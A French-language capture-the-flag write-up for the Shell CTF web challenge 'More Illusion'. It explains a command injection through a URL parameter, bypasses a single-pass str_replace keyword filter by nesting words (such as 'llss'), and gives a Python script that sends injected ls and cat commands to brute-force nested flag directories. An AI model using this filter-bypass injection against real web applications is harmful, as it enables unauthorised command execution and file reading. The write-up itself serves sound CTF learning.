Shell CTF More Illusion
- Auteur du write-up: Numb3rsProprety
- Category:
Web
- Points:
500
=>495
- Difficulty: Hard
- Solves:
75
Description
Challenge link : http://20.125.142.38:8499/
If you still not illuded, here is another potion of illusion for you. Can you survive it ?????
You can du it ……..
Note
- Je n’ai pas mis toute la description du challenge par ce que elle fait un bras mais en gros le flag final est la concatenation du flag + la commande utilisé pour trouver le flag.
Introduction
Overview
Le site est exactement le même que pour Illusion:
- On peut entrer du texte qui sera reflect (où non) sous forme de “What I See ◔_◔
truc entré
”
On sais que c’est une rce par ce que c’est plus ou moins sous-entendu dans la description donc pif je retente un des
payload de illusion (à savoir llss
) et badabim badaboum j’ai le directory listing. Donc la vous vous dîtes
“mais what qu’est ce que c’est que ce truc pourquoi est ce que il met llss et la pouf un directory listing ??”
Ben enfait c’est tout con c’est par ce que le user input est sanitize par la fonction str_replace qui va check si votre input contient un mot interdit. Pour illustrer mon propos je vais vous montrer quelque exemples:
Imaginons que le serveur filtre le mot chat avec str_replace(“chat”, “”, $input) à chaque occurence de chat
dans la var $input le serveur va la
remplacer par du vide. Donc enfait si j’input cchathat
le serveur va voir uniquement une occurence du mot chat et va l’enlever mais ducoup
il restera les autres lettres qui formeront chat
a leur tour et la pof nous on a gagné.
Je trifouille dans le serveur à coup de llss ..
et la je me retrouve avec un truc affreux:
Dans chaque dossier flag il y a 6 sous dossier flag avec a la fin un fichier flag.txt qui contiennent pour la plupart (en
tout cas ceux que j’ai vu) des fake flag
et que les fichier flag vont jusqu’à 20 -
donc vu je suis un gros flemmard j’automatise les recherches.
Exploit
import requests
url = “http://20.125.142.38:8499/wH4t_Y0u_d1d?Th1nK_Tw1c3=”
symbol = “-”
base_data = “../flag”
for i in range(21):
url_temp1 = url + f"llss {base_data}" + symbol * i
for x in range(7):
url_temp2 = url_temp1 + "/" + "flag/" * x
bisous = requests.get(url_temp2)
if "flag.txt" in bisous.text:
print("[+] Flag trouvé à: " + url_temp2)
url_temp3 = url_temp2.replace("llss", "cat")
url_temp3 += "flag.txt"
flag_stp = requests.get(url_temp3)
print(f"[+]Trying {url_temp3}")
if "N0t_7h1s_345y" not in flag_stp.text:
print(flag_stp.text)
Mon script est d’une débilité sans nom il va juste itérer sur 20 tirets et sur 6 subdir flag en faisant des requêtes et en checkant l’output du fichier flag.txt
pour verifier si le contenu est différent de N0t_7h1s_345y. Je finis par avoir un H0p3_4ny0N3_No7_n071c3_SiZe_D1fF3reNc3
qui pop et puis
la je crie victoire mais retour a la réalité: le chall n’est pas fini. Comme j’ai fait le chall comme un gros bourrin je n’ai pas utiliser la commande
voulu à savoir du apparent-size ah
mais la hop big up a B.A Seven qui l’a trouvé.
Ce qui nous donne shellctf{H0p3_4ny0N3_No7_n071c3_SiZe_D1fF3reNc3_du_apparent-size_ah}